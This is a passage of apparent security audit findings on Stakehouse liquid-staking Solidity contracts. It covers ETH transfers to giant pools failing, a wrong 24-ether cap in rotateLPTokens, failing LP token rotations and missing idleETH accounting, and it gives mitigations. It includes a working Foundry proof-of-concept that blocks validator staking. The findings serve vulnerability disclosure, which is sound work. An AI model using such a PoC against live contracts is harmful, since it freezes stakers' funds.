the vaults go through a process of burning the _lpTokens and sending the caller giant pool ETH.

burnLPToken https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SavETHVault.sol#L126

    function burnLPToken(LPToken _lpToken, uint256 _amount) public nonReentrant returns (uint256) {
        /// .....
        (bool result,) = msg.sender.call{value: _amount}("");
        // .....
    }

Giant pools do not have a fallback or receive function. ETH cannot be sent to them

additionally, there is no accounting of idleETH, which should be increased with the received ETH in order to facilitate withdraws

Tools Used

VS Code

Recommended Mitigation Steps

1. Add a fallback or receive function to the pools.
2. idleETH should be increased with the received ETH

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L83 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L934

Vulnerability details

Impact

The following bug impact will make a node runner unable to stake the funds from the vaults although there are enough needed for the stake.

Proof of Concept

The issue is with an improper check in the base contract of the vaults ETHPoolLPFactory. When rotateLPTokens is called, there is a condition require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");.

rotateLPTokens: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L83

    function rotateLPTokens(LPToken _oldLPToken, LPToken _newLPToken, uint256 _amount) public {
....
        require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");
....
        _newLPToken.mint(msg.sender, _amount);
    }

The condition is in place so when minting the new LPToken, the totalSupply will not exceed 24 ether, which is the maxStakingAmountPerValidator for SavETHVault.

24 ether is NOT the maxStakingAmountPerValidator for StakingFundsVault. 4 ether is.

Therefore the LP tokens for the validator is the StakingFundsVault is above 4 ether if a user rotates a bigger amount.

This causes an issue when a node runner calls the stake function. The node runner will do so as he sees that there are enough funds in the vaults (there is more than enough).

The transaction to stake will revert in the _assertEtherIsReadyForValidatorStaking function because of a check that the totalSupply of the LPToken is 4 (it is more than 4)

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L934 _assertEtherIsReadyForValidatorStaking

    function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view {
....
        LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey);
        require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault");
        require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether")
....
    }

Foundry POC

The POC will show simple scenario where a user converts 0.001 ETH from BLS key #2 to a full BLS key #1

Add the following import to LiquidityStakingManager.t.sol:

https://github.com/code-423n4/2022-11-stakehouse/blob/main/test/foundry/LiquidStakingManager.t.sol#L12

import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";

Add the following test to LiquidityStakingManager.t.sol

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L121:

    function testRotateCausesUnstake() public {
        // Create NodeRunner
        address nodeRunner = accountOne; vm.deal(nodeRunner, 8 ether);
        
        // Register two BLS keys
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, address(0xdeadbeef));
        registerSingleBLSPubKey(nodeRunner, blsPubKeyTwo, address(0xdeadbeef));

        // savETHUser, feesAndMevUser funds used to deposit into validators
        address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4.001 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
        
        // deposit full savETHUser, feesAndMevUser funds for validator #1
        depositIntoDefaultSavETHVault(savETHUser, blsPubKeyOne, 24 ether);
        depositIntoDefaultStakingFundsVault(feesAndMevUser, blsPubKeyOne, 4 ether);
        LPToken tokenBlsKey1 = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyOne);

        // deposit 0.001 ETH from feesAndMevUser instakingFundsVault for validator #2
        depositIntoDefaultStakingFundsVault(feesAndMevUser, blsPubKeyTwo, 0.001 ether);
        LPToken tokenBlsKey2 = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyTwo);

        // Jump forward 1 day
        vm.warp(1 days);

        // Rotate 0.001 ETH from feesAndMevUser BLS key #2 stake to BLS key #1
        // This will pass all checks
        vm.startPrank(feesAndMevUser);
        manager.stakingFundsVault().rotateLPTokens(tokenBlsKey2, tokenBlsKey1, 0.001 ether);
        vm.stopPrank();

        // Node runner tries to stake BLS key #1 when all funds are received
        vm.startPrank(nodeRunner);
        // Validate revert
        vm.expectRevert("DAO staking funds vault balance must be at least 4 ether");
        stakeSingleBlsPubKey(blsPubKeyOne);
        vm.stopPrank();
    }

To run the POC, execute: yarn test -m testRotateCausesUnstake -v

Expected output:

Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests
[PASS] testRotateCausesUnstake() (gas: 1935913)
Test result: ok. 1 passed; 0 failed; finished in 8.44ms

To see the full trace, execute: yarn test -m testRotateCausesUnstake -vvvv

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Change the require statement in rotateLPTokens in ETHPoolLPFactory.sol to check against maxStakingAmountPerValidator

 require(_amount + _newLPToken.totalSupply() <= maxStakingAmountPerValidator, "Not enough mintable tokens");

Depositors cannot rotate LP Tokens

Depositors have an option to rotate their vault LP Tokens where the node runner did not stake the funds.

If all funds needed for stake were collected and stake didn't happen, it is probable that at least one depositor will have issues rotating their LP Token.

Here are some scenarios that cause the rotation to fail:

1. Depositor is a single depositor of the full staking amount (24 ETH for savETHVault). In such case the rotate function will revert. Example of the following require statement in a savETHVault scenario:

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/ETHPoolLPFactory.sol#L83

require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");

In order for a newLPToken to exist, it must have a minimum of 0.001 ETH (MIN_STAKING_AMOUNT) of totalSupply. Therefore a depositors trying to rotate his 24 ETH will fail because: 24 ether + 0.001 ether > 24 ether

2. In case there is no alternative LP Token that can hold the depositors amount the funds would freeze until a new BLS key is staked or an LP Token of other BLS was burned.

ETH not updated in internal accounting of giant pools

Giant pools have a feature of bringing ETH back to the giant pools from the vaults. The received ETH in not updated in internal accounting and therefore cannot be used for withdrawing funds which use the idleETH to determine how much ETH is idle in the giant pool

bringUnusedETHBackIntoGiantPool: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137

    function bringUnusedETHBackIntoGiantPool(
        address[] calldata _savETHVaults,
        LPToken[][] calldata _lpTokens,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _savETHVaults.length;
        require(numOfVaults > 0, "Empty arrays");
        require(numOfVaults == _lpTokens.length, "Inconsistent arrays");
        require(numOfVaults == _amounts.length, "Inconsistent arrays");
        for (uint256 i; i < numOfVaults; ++i) {
            SavETHVault vault = SavETHVault(_savETHVaults[i]);
            for (uint256 j; j < _lpTokens[i].length; ++j) {
                require(
                    vault.isDETHReadyForWithdrawal(address(_lpTokens[i][j])) == false,
                    "ETH is either staked or derivatives minted"
                );
            }

            vault.burnLPTokens(_lpTokens[i], _amounts[i]);
        }
    }